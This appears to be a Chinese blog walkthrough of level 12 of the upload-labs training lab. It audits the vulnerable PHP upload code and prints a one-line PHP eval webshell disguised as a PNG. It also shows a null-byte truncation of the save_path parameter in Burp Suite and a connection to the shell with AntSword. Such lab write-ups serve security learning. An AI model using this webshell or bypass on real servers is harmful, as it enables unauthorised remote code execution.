upload-labs第十二关教程

news2024/11/30 4:53:49

upload-labs第十二关教程

  • 一、源代码分析
    • 代码审计
  • 二、绕过分析
    • 截断绕过
      • magic_quotes_gpc函数介绍
      • 关闭magic_quotes_gpc
      • 上传eval.png文件
      • 使用burpsuite进行抓包修改
      • 放包,查看是否上传成功
      • 使用中国蚁剑进行连接

一、源代码分析

代码审计

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

这里为get请求传递文件路径到服务器,然后这里strrpos() 函数查找字符串在另一字符串中最后一次出现的位置,是后缀名白名单,截取后缀名并随机命名拼接,然后还有对$_GET[‘save_path’]可控。

二、绕过分析

截断绕过

要求:php版本<5.3.29,且magic_quotes_gpc = Off,修改php.ini文件,将magic_quotes_gpc 设置为off

magic_quotes_gpc函数介绍

在PHP中作用是判断解析用户提示的数据,包括post/get/cookie过来的数据增加转义字符"\",以确保这些数据不会引起程序出现致命错误。
在magic_quotes_gpc=on的情况下,如果输入数据有单引号/双引号/反斜线/null字符等,都会被加上反斜线。

关闭magic_quotes_gpc

在php.ini文件内将magic_quotes_gpc改为Off
在这里插入图片描述

上传eval.png文件

<? @eval($_POST['cmd']); ?>

这里直接把eval.php改为eval.png就行了,因为这里没有请求头进行检测,所以可以这样

使用burpsuite进行抓包修改

由于对于save_path可控,所以在这里进行截断操作。
修改之前:
在这里插入图片描述
这里的save_path=../upload/
修改之后:
在这里插入图片描述

这里的save_path=../upload/eval.php%00

放包,查看是否上传成功

在这里插入图片描述
在这里插入图片描述

上传成功。这里虽然显示的是上传的是图片,其实是被截断。使用中国蚁剑时连接eval.php就行了。
在这里插入图片描述

使用中国蚁剑进行连接

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1824756.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

k8s快速上手实操

前言 Kubernetes&#xff08;简称K8s&#xff09;是由Google开源的一个用于自动化部署、扩展和管理容器化应用程序的系统。自2014年发布以来&#xff0c;Kubernetes已经迅速成长为容器编排领域的标准&#xff0c;并在全球范围内得到了广泛的采用和认可。 Kubernetes作为现代容…

最新情侣飞行棋高阶羞羞版,解锁私密版情侣小游戏,文末有福利!

今天要跟大家聊聊一种特别有意思的游戏——情侣飞行棋羞羞版。别急着脸红&#xff0c;这可是专为情侣设计的游戏&#xff0c;让你们在轻松愉快的氛围中&#xff0c;增进了解&#xff0c;加深感情。 谈恋爱&#xff0c;不就是两个人在一起&#xff0c;做些有趣的事情吗&#xf…

分布式技术导论 — 探索分析从起源到现今的巅峰之旅(逻辑架构)

探索分析从起源到现今的巅峰之旅 背景介绍技术系列 逻辑架构连接处理层数据缓存层SQL处理层存储引擎逻辑层次的分工 模块执行连接处理层初始化模块核心API模块网络交互模块Client&Server 交互协议模块用户模块案例 访问控制模块案例 连接管理、连接线程和线程管理连接管理模…

数字政协:迈向智慧时代,开启政协工作新篇章

在信息化浪潮席卷全球的今天&#xff0c;数字技术不仅改变了我们的生活方式&#xff0c;也深刻影响着政治生态的变革。其中&#xff0c;“数字政协”的崛起&#xff0c;正是新时代政协工作创新发展的重要标志。那么&#xff0c;什么是数字政协&#xff1f;它又将如何助力政协工…

RAG工作流在高效信息检索中的应用

介绍 RAG&#xff08;Retrieval Augmented Generation&#xff09;是一种突破知识限制、整合外部数据并增强上下文理解的方法。 由于其高效地整合外部数据而无需持续微调&#xff0c;RAG的受欢迎程度正在飙升。 让我们来探索RAG如何克服LLM的挑战&#xff01; LLM知识限制大…

stable diffusion最全插件大全,新手必备指南

Stable diffusion30个必备插件推荐&#xff0c;给我点个赞吧&#xff0c;兄弟们 1&#xff0c;ComfyUI&#xff0c;SD扩展里面直接搜索就行&#xff0c; ComfyUI 是一个基于节点操作的UI界面&#xff0c;玩过建模的更容易学 安装后大概是这样的 评价&#xff1a;comfyui,更适…

LDR6023S:革新USB Type-C接口的完美伴侣

一、引言 随着科技的发展&#xff0c;USB Type-C接口以其高速传输、正反插等特性逐渐取代了传统的USB接口。而在这一背景下&#xff0c;LDR6023S作为一款USB Type-C转音频快充芯片&#xff0c;凭借其卓越的性能和广泛的应用场景&#xff0c;成为了市场上备受瞩目的产品。本文将…

判断两张图片是否相似

判断两张图片是否相似 要判断两张图片是否相似&#xff0c;你可以使用多种方法&#xff0c;其中包括结构相似性指数&#xff08;SSIM&#xff09;和 perception hash 等。以下是使用 SSIM 和 perception hash 进行判断的示例代码。 安装必要的包 确保你已经安装了 scikit-im…

远程医疗服务包含哪些服务内容?

在当今数字化时代&#xff0c;远程医疗服务正在迅速崛起&#xff0c;成为医疗保健领域的一项重要创新。通过远程医疗服务&#xff0c;患者可以足不出户就能获得医疗服务。那么远程医疗究竟能提供哪些服务呢?下面我们就来看看。 1. 远程咨询 远程咨询是远程医疗服务的基础&…

深入学习Java `synchronized` 关键字

深入学习Java synchronized 关键字 synchronized关键字通过确保在同一时间只有一个线程可以执行某个代码块&#xff0c;从而防止多个线程同时访问共享资源时发生数据不一致的问题。 修饰方法 当synchronized用于修饰实例方法时&#xff0c;表示当前实例对象是同步锁。这意味…

【C++ 11 新特性】lambda 表达式详解

文章目录 1. 常见 lambda 面试题&#x1f58a; 1. 常见 lambda 面试题&#x1f58a; &#x1f34e;① 如果⼀个 lambda 表达式作为参数传递给⼀个函数&#xff0c;那这个函数可以使⽤这个 lambda 表达式捕获的变量吗 ? &#x1f427; 函数本身无法直接访问到 lambda表达式捕获…

护眼台灯哪个品牌更好?五款市面主流的护眼台灯款式分享

近年来&#xff0c;护眼台灯的研发和创新不断推进&#xff0c;一些台灯配备了智能化功能&#xff0c;如定时开关机、自动调节光线等&#xff0c;使孩子们能够更好地控制用眼时间和光线环境。护眼台灯哪个品牌更好&#xff1f;一些高端的护眼台灯还采用了纳米光滤镜技术&#xf…

LeetCode | 35.搜索插入位置

这套题可以直接遍历&#xff0c;找到第一个大于target的数并返回其位置即可&#xff0c;但是时间复杂度为 O ( n 2 ) O(n^2) O(n2)&#xff0c;题目中明确要求时间复杂度为 O ( l o g n ) O(logn) O(logn)&#xff0c;考虑二分查找算法&#xff0c;这道题就是标准的二分查找的一…

Studio One软件最新版下载及详细安装教程

Studio One 6是一款功能丰富、专业级的音乐制作软件&#xff0c;它具备灵活的工作流程和高效的团队协作能力&#xff0c;能帮助用户实现高质量的音乐创作和制作。 智能模板更快的启动&#xff0c;全新的智能模板为你手头的任务提供了必要的工具集&#xff0c;包括基本录制、混音…

RFID技术助力资产信息数字化转型

在当前快速发展的信息化时代&#xff0c;资产信息的数字化转型对企业管理和运营具有重要意义。RFID技术作为一种先进的物联网技术&#xff0c;通过将资产信息全面数字化&#xff0c;实现高效、准确的管理和追踪&#xff0c;极大地提升了企业的运营效率和管理水平。 首先&#x…

Java版+ SaaS应用+接口技术RESTful API 技术开发的智慧医院HIS系统源码 专注医院管理系统研发 支持二开

Java版 SaaS应用接口技术RESTful API WebSocket WebService技术开发的智慧医院HIS系统源码 专注医院管理系统研发 支持二开 医院住院管理系统&#xff08;Hospital Information System简称HIS&#xff09;是一门医学、信息、管理、计算机等多种学科为一体的边缘科学&#xff…

进来学习Kubernetes知识点

Kubernetes集群部署 文章目录 Kubernetes集群部署一、Kubernetes概述1.1、什么是Kubernetes1.2、为什么要用Kubernetes 二、Kubernetes组件2.1、Master组件2.2、Node组件 三、Kubernetes资源对象3.1、Pod3.2、Label3.3、Replication Controller3.4、Deployment3.5、Service3.6、…

Mac M3 Pro 安装 Zookeeper-3.4.6

1、下载安装包 官方下载地址&#xff1a;https://archive.apache.org/dist/zookeeper/ 网盘下载地址&#xff1a;https://pan.baidu.com/s/1j6iy5bZkrY-GKGItenRB2w?pwdirrx 提取码: irrx 2、解压并添加环境变量 # 将安装包移动到目标目录 mv ~/Download/zookeeper-3.4.6.…

Django配置连接池:使用django-db-connection-pool配置连接池

一、该三方库文档使用 github地址&#xff1a; https://github.com/altairbow/django-db-connection-pool/blob/1.2.5/README_CN.mdhttps://github.com/altairbow/django-db-connection-pool/blob/1.2.5/README_CN.md1、选择指定版本&#xff0c;查看指定版本的文档和配置&am…

层出不穷的大模型产品:使用体验、倾向选择及未来展望

✨作者主页&#xff1a; Mr.Zwq✔️个人简介&#xff1a;一个正在努力学技术的Python领域创作者&#xff0c;擅长爬虫&#xff0c;逆向&#xff0c;全栈方向&#xff0c;专注基础和实战分享&#xff0c;欢迎咨询&#xff01; 您的点赞、关注、收藏、评论&#xff0c;是对我最大…